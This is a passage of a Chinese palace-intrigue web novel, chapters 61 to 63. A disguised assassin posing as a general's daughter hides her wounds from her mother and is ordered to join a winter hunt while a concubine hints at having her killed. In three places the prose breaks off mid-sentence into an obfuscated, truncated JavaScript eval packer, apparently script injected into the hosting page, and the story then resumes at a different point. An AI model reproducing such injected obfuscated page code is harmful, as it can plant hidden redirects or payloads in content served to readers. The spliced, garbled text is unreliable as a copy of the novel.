“再者，属下曾先后接触过橘衣女子与宋小姐。那橘衣女子武功卓绝，身手皆在我与隐夜之上；可宋小姐若真是她，今日若不是属下及时出手相救，她怕是早已命丧毒刃之下。二者身手天差地别，绝无可能是同一人。” 明霄这番话句句在理，亭内一时陷入沉寂。 箫凛垂眸看着掌心淡去的红痕，指节无意识蜷了蜷，方才了然的神色又覆上一层沉凝，明霄的话戳中了关键，由不得他不深思。 他忆起那日初见橘衣女子，是在醉云楼之中，身手敏捷，虽一直防守，但绝非柔弱之辈；可宋韫，不管是传闻，还是今日中毒后的模样，皆是步履轻缓，周身无半分武人戾气，遇险时更是无半分自保之力，二者悬殊太大。 “殿下，依属下之见，许是殿下多思了。”明霄见他久久不语，又躬身进言，“橘衣女子行踪莫测，既暴露了身份，想来早寻地方隐匿形迹。殿下所虑，或许不过是巧合罢了。” 隐夜亦附和：“明霄所言极是，世家贵女恪守礼法，断无可能学那旁门左道的易容术了。况且宋小姐面有疤痕，那是幼时所致，与易容膏蚀肤的痕迹，想来也大有不同。” 箫凛抬眸，目光扫过二人，最终落回那片贵妃竹上，竹影摇曳，映得他眼底光影不定。他缓缓抬手，将折扇轻叩在掌心，声响清寂，打破殿内的凝滞：“罢了。” 是与不是，往后时日尚长，自有机会慢慢试探。 他收回目光，语气沉定有矩：“明霄，你即刻前往靖安侯府，协助世子理事。” 明霄闻声躬身领命，声线沉肃无半分拖沓：“属下遵令。”言罢敛衽退步，转瞬便消失于听竹苑。 隐夜仍立在原地，见箫凛目光依旧凝在那片贵妃竹上，不敢擅退，便轻声问：“殿下，属下尚有何差遣？” “你且留意太子与端王的动向。” 61. 入局 待汀竹醒来，日头已然西斜，早过了午膳时辰。 “小姐，你可算醒了！”锁秋总算是松了口气，见汀竹支身欲起，忙快步上前，小心扶着她倚在软枕之上。 汀竹抬手揉了揉太阳穴，虽已醒了过来，脑内依旧昏沉发胀，想来是那迷药的后劲未消。她缓舒肩颈，活动了下酸麻的筋骨，开口问道：“锁秋，你可知我是如何回来的？” 锁秋转身案前，斟了杯热茶递到她面前，方才回话：“奴婢也不知。先前候了许久未见小姐归来，正心急要去寻胡舟求助，刚踏出了房门，便听后院传来闷响。奴婢心下一动赶去查看，恰见一道黑影逾墙而去，小姐你正躺在地上，不省人事。” “奴婢当时害怕极了......真怕小姐你出事。”说到此处，锁秋语声哽咽，眼眶泛红，鼻尖也隐隐发酸。 她真的好怕她遇害，再也回不来了。 汀竹见她这般模样，心头亦是一酸，茶水未沾唇便搁在床沿矮几上，伸手将她揽入怀中，轻拍其背脊，柔声宽慰：“好了好了，傻丫头，我这不是好好的回来了？” “小姐......”锁秋终究是按耐不住，伏在她肩头上低低抽泣半晌，方才渐渐平复心绪。她记起汀竹方才一口茶未喝，重新端过茶杯时，才觉茶已凉，便要起身换被热的。 “不必了。”汀竹抬手拦住她，“茶太烫反倒喝不了，这般温凉正好。” 锁秋应声点头，将茶杯递了过去。 汀竹接过浅呷了一口，温凉的茶水浸润了喉间，恰好解了喉间的干渴滞涩。 目光落至汀竹双手密密缠裹的白绫纱布上，锁秋心头一紧，语气里满是心疼：“小姐，你的手怎会伤成这般？是谁伤了你？到底发生了何事？” 她身手素来利落，寻常人近不得身，如今伤了双手，定是遇上了天大的麻烦。 汀竹手指拂过掌心缠裹的纱布，底下伤口还隐隐作痛，她缓缓道来先前的事情变故：“你离去之后，我一路跟着那男子，见他在巷陌深处在一辆马车旁，与车内的人低语，只是隔得远，并未探得什么有用的消息。” “后来那男子往别处去了，马车也随之动了身，我本想盯着马车的去向，谁知那男子竟突然折返。我怕马车未走远，就想着拖住男子，再顺势解决掉，却未曾想世子身边的侍卫，竟在将军府附近盯梢。” 锁秋听闻此处，面露疑惑，轻声追问：“世子？是谢世子谢玦么？” “正是他身边的那位明侍卫，出手击退了那男子。”汀竹颔首，眸光微眯，又续说道，“万幸我当时未曾出手，否则后果不堪设想。” “那后来呢？”锁秋急着追问，掌心都攥出了汗。 “后来马车停了，又赶来两名护卫，明侍卫便与那二人缠斗起来。那男子看我落单，便想趁机发难，我为不露锋芒，四下躲避，便受了这伤。”说罢，她便轻轻抬了双手，让锁秋看得真切。 锁秋忽的一拍脑门，想起方才扶汀竹起身时，见她身侧放着一张素笺，忙从袖口中取出，双手递上：“哦，对了小姐。” “这是奴婢方才在你身侧拾得的，想来是那黑衣人留下的。” 汀竹接过素笺，缓缓展开，笺上字迹清秀平实，是解她掌间这凝煞毒的药方。 “小姐，这上方写的可是药方？”锁秋探头问道。 “正是解我掌中毒的方子。”汀竹怕她再忧心，语气放得极缓，温声安抚，“并无大碍，只需按药方再服用三日汤药，这毒便能清了。” 锁秋这才松了口气，当即就要起身：“及如此，奴婢这就去小厨为你熬药。” “慢着。”汀竹伸手一把将她拉住，眉眼间染上了几分倦意，更添了几分饥色，“你家小姐此刻腹中空空，汤药先暂且放放。今日午膳，膳房都备了哪些好吃的？” 锁秋细细回想，一一禀道：“回小姐，今日午膳有清炒冬笋尖、素熘莲子、白玉豆腐羹，还有软枣糕。” 汀竹听罢，眉头微蹙。 竟无半点荤腥，本就昏沉的脑袋，只觉愈发胀痛起来。 “小姐，今日先帝忌辰，府中膳食须得清淡，一概忌了荤腥。”锁秋含着笑意，汀竹这般失落，缘由她如何不知。 “早知如此，方才该想方设法在靖安侯府蹭了饭，再回来才好。”汀竹低眉嘀咕。 她心底寻思，同是清淡素食，靖安侯府的定要比将军府的美味几分。 锁秋见她难得说般孩子气话语，被逗得破涕为笑，拭了拭眼角余湿，软声打趣：“小姐，倒会想，靖安侯府今日怕也是素食，先帝忌辰乃是国丧余规，王公侯府皆要循例斋戒，哪里有荤腥给你蹭。” 汀竹闻言一愣，才后知后觉忆起此事。先帝薨逝，每逢忌辰，宗室勋贵乃至京中百官，皆要戒斋一日，菇素忌荤，连丝竹宴乐都要禁了，将军府规矩森严，自然半点不逾矩。 她向来平民百姓惯了，倒把这要紧的日子忘得一干二净。 “罢了罢了，”汀竹轻叹一声，倚着软枕，腹中空虚得发慌，倒也不挑剔了，“素便素些，你去膳厨传个话，把那几样菜热一热，软枣糕便不要了。” “奴婢知晓。”锁秋应得利落，又不放心地打量她的神色，“小姐刚醒，手又受伤了，奴婢去去就回。若是渴了，矮几上有茶水，你伸手便能拿到，可别自己起身去。” “知道了，快去快回便是。”汀竹挥了挥手，看着她轻快出了房门，才敛了面上的浅笑，目光落回掌心的白绫上。 她清楚记得马车内所坐之人，脸上戴的面具正是她先前在堂中所见的那副钟馗玄铁面具。 若真是堂中之人，先前她为无常时，堂中派她刺杀“端王”是为何？还记得那日撞破二人密谋，此刻又清晰回荡耳畔——“端王必须死”、“宣帝”、“漕运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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锁秋收拾妥当食盒，轻声道：“小姐不如再歇息片刻？奴婢为小姐熬药去。”汀竹摇头，手指扶着桌沿起身，走到窗边推开半扇窗棂，微风拂面而来，稍稍吹散了脑内的昏沉。她望着院外那棵榆树，心头那团乱麻仍未解开。 刺杀端王、黑刃堂的头目、宋韫遇害、皇庄之事，漕运......还有谢玦身边的侍卫明霄突然现身，处处透着诡异。她自是不信明霄所说执行公务，加之那晚明霄化为刺客入府试探她，多半是自己早已被盯上了，看来往后更需小心谨慎行事。 锁秋守在一旁，见她凝眉沉思，不敢多扰，只默默取了件薄披风，轻轻搭在她肩头。 风卷着院中榆树掉落的枯叶掠过石桌，汀竹拢了拢肩头披风，指尖触到纱布下的隐痛，眼底寒光暗起。 这盘棋，终究是要逼着她入局了。 62. 忧心 汀竹一早又遣人往崇文轩告了假，消息传至宋夫人耳中，她顿时住不住，忙携着梓盼、梓溪，亲自过来看视。 这厢汀竹刚从锦被中起身，身上只松松披了件绣缠枝莲纹的薄裳，发鬓散乱着，尚未梳理。锁秋端着一只鎏金铜盆进来，盆中盛着温热的净水，水里还浸着一方绞绡面巾，正预备伺候她梳洗。 门帘“吱呀”一声掀了开来，宋夫人被梓溪梓盼搀扶着跨进门，一瞧见汀竹，便急急挣开了梓溪、梓盼的手，疾步便走近她身前，蹙着眉上下打量，满眼皆是焦灼：“清禾，可是昨夜又受了寒？瞧着气色这般不济。” 她话音未落，目光便落在了汀竹垂在身侧的双手上。那双手竟被宽宽的白绫缠得密不透风，连指尖都未露分毫。 宋夫人的心猛地一揪，声音都带上了几分颤意，伸手想去碰，又怕碰疼她，只轻轻抬起她的手，心疼道：“我的儿，这手是怎么伤的？昨日行祭礼前还好好的，怎的一夜之间，竟伤成这般模样？” 汀竹低眉，长长的睫毛覆下来，掩去眼底一丝极淡的波澜，唇边漾着一抹浅浅的笑，语声温软，听不出半分异样：“母亲莫要忧心，不过是昨日回阁时，脚下不慎被石阶旁的青苔滑了一跤，掌心磕在了碎石上，划了浅浅的口子罢了，并无大碍。” 她微微抬了抬手，指尖轻轻碰了碰掌心的白绫，好似在示意着不怎么疼，语气里带了点无奈的笑意：“是锁秋太过谨慎，说伤口怕沾水，便执意缠得这般严实，倒叫母亲见笑了。” 宋夫人哪里肯信，只当她是怕自己忧心，故意轻描淡写，当下板起脸，朝身侧的梓溪吩咐道：“去将府里的大夫请来，仔细给小姐瞧瞧！若是感染了风寒，再添了手伤，这身子骨如何禁受得住？” 汀竹连忙开口婉拒：“母亲，不用麻烦梓溪姑娘，昨日已经瞧过大夫了。”说罢，她便朝立在一旁的锁秋递了个眼色。 锁秋心领神会，忙上前一步，恭恭敬敬回话：“回夫人的话，昨日小姐回阁后，奴婢便即刻请了府医来。大夫说小姐掌心只是皮外伤，万幸没伤着胫骨，只叮嘱好生静养，莫沾生水，按时敷药便好。” 宋夫人仍是不放心，目光在汀竹苍白的脸上逡巡，又拉过她的手细细查看，蹙眉道：“既已敷过药，怎的脸色还是这般难看？莫不是夜里没睡安慰？” 汀竹顺势依偎在她肩头，声音软糯了几分，带着点撒娇的意味：“母亲还不知晓女儿的性子？些许小伤罢了，哪里就这般娇弱。不过是昨夜想着今日告假，怕崇文轩的女官怪罪，辗转反侧了半晌，才耽搁了眠罢了。” 说着，她便轻轻晃了晃宋夫人的手臂，软语央求：“好母亲，大夫既已看过，便不必再劳烦一趟了。左右不过是几日便能好的小伤，若再兴师动众，传出去反倒惹人笑话，说女儿金贵娇气，连个磕碰都受不住呢。” 宋夫人被她这番软语磨得没了脾气，又见她眉眼间虽有倦色，却并无痛楚之态，这才缓缓松了眉头。她抬手替汀竹理了理额前散乱的碎发，终究是叹了口气，拍了拍她的手背道：“你这孩子，向来嘴硬心软。罢了，既已瞧过大夫，便依你，不叫人再跑一趟。” 转而又朝锁秋吩咐：“往后仔细伺候着，近身伺候的水，都须得是滚沸过的温水，莫叫沾了半点生水。若是有半分差池，唯你是问！” 锁秋忙躬身应了：“奴婢知晓，定当尽心伺候小姐。” 汀竹抬手替宋夫人理了理鬓边微乱的珠花，软声问道：“祖母近日可好，母亲近来身子可还康健？前儿听锁秋说，府里的金桔熟了，母亲可曾尝过？女儿瞧着母亲眼下似有青影，可是那常春藤不起作用了，依旧睡不安稳？” 宋夫人闻言，眼底的焦灼瞬间被暖意取代，她抬手轻轻抚摸着汀竹的手背，笑着摇头，语声温和：“傻孩子，祖母与母亲都好得很呢。不过是这几日周姨娘因冬烝一事，府中的事物悉数便落在了母亲手中，熬了两夜才理出头绪罢了，那就这般娇气。金桔甜的很，我叫小厨房腌了蜜饯，回头叫人给你送来些。” 她话说得轻快，面色却隐隐透着几分苍白，唇角的笑意也有些勉强。身侧的梓溪、梓盼闻言，神色皆是一滞，眼底飞快掠过一丝忧虑，二人对视一眼，正要开口说些什么，却被宋夫人递来一个眼神轻轻止住。 那眼神里带着几分不容置喙的警示，梓溪、梓盼只得低下头去，将到嘴边的话又咽了回去，垂着手立在一旁，神色愈发局促不安。 这般细微的异样，汀竹却丝毫未察觉，她只当宋夫人是熬了夜，便松了口气。 “母亲，还是少熬夜，晚上早些歇息。” 宋夫人颔首，柔和笑道：“母亲知晓。” 随后她又细细叮嘱了汀竹好些话，无非是叫她安心静养几日，崇文轩的课业不必挂怀。末了又想起什么，转头吩咐梓盼：“你去库房，寻些上好的白芨膏送到暖居阁。” 梓盼应声退下，宋夫人这才拉着汀竹的手，坐在床沿上，目光慈和地打量着她：“你自小身子就弱，偏生又爱逞强。昨日行祭那般繁琐，站了大半日，回来又摔了一跤，纵是铁打的身子也受不住。” 汀竹垂眸浅笑，伸手挽住宋夫人的胳膊，轻声道：“清禾知晓母亲疼我，往后定当仔细些，再也不叫母亲忧心了。” 宋夫人见她这般乖巧，心里的焦灼散了大半，又絮絮叨叨说了几句，才被梓溪搀扶着起身。 临出门时，还不忘回头嘱咐：“好生歇着，晚膳我叫小厨房炖了你爱吃的莲子羹。” 待宋夫人的身影彻底消失在院门外，院门上的铜环还微微晃动着，锁秋才轻轻掩上门，转身看向汀竹。 方才还带着几分娇软笑意的人，此刻正垂眸看着自己被白绫裹住的双手，眼底的温软尽数褪去，只剩一片沉沉的伤感。 “小姐，”锁秋的声音压得极低，似怕惊碎了这满屋的沉寂，“夫人这般疼你，若是知晓了真相......” 汀竹抬手打断了她的话，指尖轻轻摩挲着白绫下凹凸不平的触感，那不是碎石划破的浅痕，是昨日被匕首划破掌心的深伤，皮肉反卷，深可见骨，更是在她心口上剜下的一道烙印。 “不会。”她低声笃定，声音轻得像一缕烟，“我会扮好她，做好将军府的嫡女，做一个让母亲安心的好女儿。” 她缓缓抬眸，窗外的日光透过菱花窗棂斜斜照进来，落在她苍白的脸上，眼前视线像是被雾气裹挟，看得很不真切。那双往日里清澈的眸子，此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他话音恳切，带着歉疚，玄色衣袂垂落肩头，更衬得面色沉郁：“小姐万金之躯，此后但凡有差遣，只管吩咐小的。便是上刀山下火海，小的也绝无半句推辞。” “无碍。既是‘上刀山下火海，绝无半句推辞’，”汀竹说到此处，语声微顿，“替我从府中打造一套银针来，再往药铺寻几株曼陀罗。” “小姐要这些是为何故？”胡舟闻言，面上满是诧异。 曼陀罗？那可是有剧毒的东西。银针……莫非是要…… 未等胡舟细想，汀竹便接着道：“银针是防有人暗中下毒，曼陀罗则是备着应急。” 胡舟心头一紧，指尖都跟着发颤，俯身低问：“小姐要应急，是要应付哪般凶险？那曼陀罗药性霸道，稍有差池便会……” 话未说完，便被汀竹抬手止住。她眸色沉静，声音轻缓却带着不容置疑的笃定：“不必多问，你只需记得寻来便是。” 她寻来这些，原是为了打造暗器。昨日去靖安侯府打探消息，为防诊脉时被那大夫察觉腕间藏着的银针，趁明霄将她扛在肩头的间隙，便悄悄将银针尽数掷于地上。 昨夜她特意折返去寻那些遗落的银针，满心以为还能再用，谁料捡起来一看，竟是十之八九都已弯折变形，再也派不上用场了。 胡舟不再多问，躬身便离去。 63. 骑术 晚膳时辰，将军府正厅。 几人落座于桌前，侍女们依次将食物端于桌面上。青瓷碟盏错落摆开，每道菜都冒着热气，衬得满室皆是融融暖意。 宋将军放下筷子，忽然沉声道：“过几日京郊围场便开冬狩了，陛下已颁了旨意，命勋贵子弟皆要前往，一来演武，二来也为围猎鲜食，充作太庙祭祀之礼。” 话音刚落，坐在右侧下首的宋婉眼睛一亮，忙不迭放下手里的银匙，脆生生道：“父亲，女儿也想去见见世面！前几日在太傅府赴宴，太子殿下提到过，说今年父亲乃此次围猎副使。”她说着，转头看向坐在对面的汀竹，眉眼弯弯，“太子殿下还特意说了，想让姐姐也去学骑射，说女子懂些武艺，将来也是防身的本事。” 汀竹还未搭话，一旁的周姨娘已柔柔开口，握着茶盏的手指微微收紧，语气里满是光切：“这可使不得。大小姐自小体弱，风一吹就容易染了风寒，围场那边天寒地冻，又是马嘶兽吼的，哪里禁得住这般折腾？依我看，还是留在府里好生静养妥当些。” 闻言此话，汀竹心中一阵诧异。 这周姨娘是太阳打西边出来了，怎会莫名关切起她来？ 想来是为了在宋将军面前，扮演一副善解人意的长辈模样。 宋夫人也是难得赞同她的这番话，便跟着点头，蹙着眉看向汀竹，眼神里满是担忧：“妹妹说得是。冬狩围场里本就多有凶险，往年也不是没有猎户被野兽所伤的先例。” “清禾随我，身子骨素来单薄，骑术又生疏，去了若是有个闪失，叫我如何放心？” 汀竹垂着眼，长长的睫毛在眼下照出一片浅浅的阴影。 她确实是不想去什么冬狩围猎，先前太子说到这，她都是打着要回去问问宋将军的名义婉拒。若不是今夜宋将军提起，她倒是忘记了这事。 于是声音温软却带着几分坚定：“母亲和姨娘说得极是，女儿也觉得自己怕是撑不住围场的辛苦，就不去凑这个热闹了，免得给父亲添麻烦。” 她话音刚落，宋将军却沉声道：“此事由不得你推辞。今日我入宫议事，吏部侍郎李大人特地当着百官的面向陛下提了一嘴，说你乃是我宋家嫡女，未来的太子妃，将门之女，理当熟习弓马骑射，不可落了将门的名头。” “此番冬狩，陛下更是特意点名要你同去。”宋将军语气稍缓，眼底掠过一丝无奈，“知晓你骑射底子薄弱，崇文轩的课业陛下已特批免了，着令太仆寺选训马好手，在京郊设了场，专教你与各家贵女骑射章法，为的便是让你们赶在冬狩前，历练出几分筋骨来。你且记着，莫要堕了我们宋家的名头。” 这话一出，满座俱静。 汀竹握着锦帕的手微微一顿，抬眼看向宋将军，见他面色沉肃不似玩笑，便知此事已无转圜余地，只得轻轻颔首：“及如此，女儿遵父亲之命便是。” 宋婉脸上的笑容瞬间淡了几分，握着银匙的手稍稍用着力，眼底飞快拂过一丝不易察觉到怨怼。 她愿想着，以宋韫这般自小体弱，父亲定会同往年一样，一口回绝她去围场的可能。到时候她在围场上好好表现一番，骑射技艺定能压过一众名门贵女，叫太子殿下对她另眼相看。 谁知竟出了这般变故，宋韫竟然被点名要去，连陛下都特意为她改了课业，设了转训的场子，到时候平白分了旁人的目光，这叫她如何甘心？ 周姨娘见状，端起茶盏抿了一口，滚烫的茶汤熨帖了喉咙，却压不住眼底的冷光。她放下茶杯，用茶盖轻轻刮去浮沫，掩去了唇边一闪而过的算计。 她方才那般说辞，哪里是真的心疼宋韫？不过是想着，围场里野兽出没，人多眼杂，保不齐会出什么意外。届时不用她出手，便能悄无声息地解决了宋韫这个麻烦。 如今陛下偏要给宋韫铺路，倒要好好想想，如何才能让这铺路石，变成绊脚石。 这么一想，她便敛了眉眼，不再多言。 晚膳散后，宋婉气冲冲地拉着周姨娘的手，快步回了西厢院。 刚踏入正房，便将手里攥着的绣帕狠狠摔在紫檀木梳妆台上，她红着眼眶，带着哭腔道：“娘！凭什么她也要去？她什么都不会，骑马能摔下来，射箭能射到脚边，去了也是丢人现眼！太子殿下那般人物，怎么会看上她这样的人！” 周姨娘慢条斯理地坐在镜前，取下头上的珠钗玉簪，对着铜镜理了理鬓发，声音压得极低，带着几分阴恻恻的意味：“我的傻女儿，急什么？” “她什么都不会才好呢，那围场可不是什么太平地儿。猎场之上，马儿受惊狂奔，箭走偏锋伤了人，都是常有的事。保不齐啊......” 她凑近铜镜，看着自己眼底的寒光，轻轻勾起唇角：“她这一去，就再也回不来了呢。” 宋婉闻言，先是一愣，随即眼底闪过一丝明悟，继而涌上浓浓的喜色。她凑到周姨娘身边，压低声音道：“娘，你的意思是......” 周姨娘拍了拍她的手背，眸光沉沉：“嘘。” “有些事，心里明白便好，不必说出口。你只需记得，到了围场，只管好好在太子殿下面前表现。” “至于其他的......自有天助。” 宋婉眼底的雾气霎时散尽，取而代之的是按耐不住的雀跃，她攥住周姨娘的衣袖，声音里满是急切：“那要怎么做？女儿要不寻个由头，引她去林子深处？” 周姨娘睨了她一眼，抬手戳了戳她的额头，语气带着几分恨铁不成钢：“糊涂！这种事岂能自己亲自动手？传出去，你的前程就全毁了。” 她手指在妆台上轻轻放着，目光幽幽继续道：“你只需记得，到了围场，只管往太子面前凑，讨他欢心便是。至于宋韫......自有旁人替咱们操心。” “旁人？”宋婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她是真的没想到，宋家将门嫡女，不会武术便罢了，竟连骑射的皮毛都不曾沾过。 这若是到了别院，那些贵女们个个都是自幼练起的，她若是露了半点破绽，怕是立刻就要引人怀疑。 可反过来想，要是装得像个彻头彻尾的门外汉，也不是易事。 她翻着那本兵法，眉头轻轻蹙起，一字也未能看进去，心里倒是在暗暗盘算。 骑马要装的生疏，缰绳都握不稳才好，最好上马时还能踉跄一下，面上露出几分惊惶才够逼真。射箭简单，拉不开弓都要装作勉力拉扯的模样，箭脱靶飞到脚边，甚至能惊得自己后腿几步，露出十足的怯意。 唯有这般笨拙模样，才符合一个从来没碰过弓箭的闺阁女子的样子。才能让那些暗中盯着她的眼镜，少几分猜忌，多几分轻视。 轻视，有时才是最稳妥的护身符。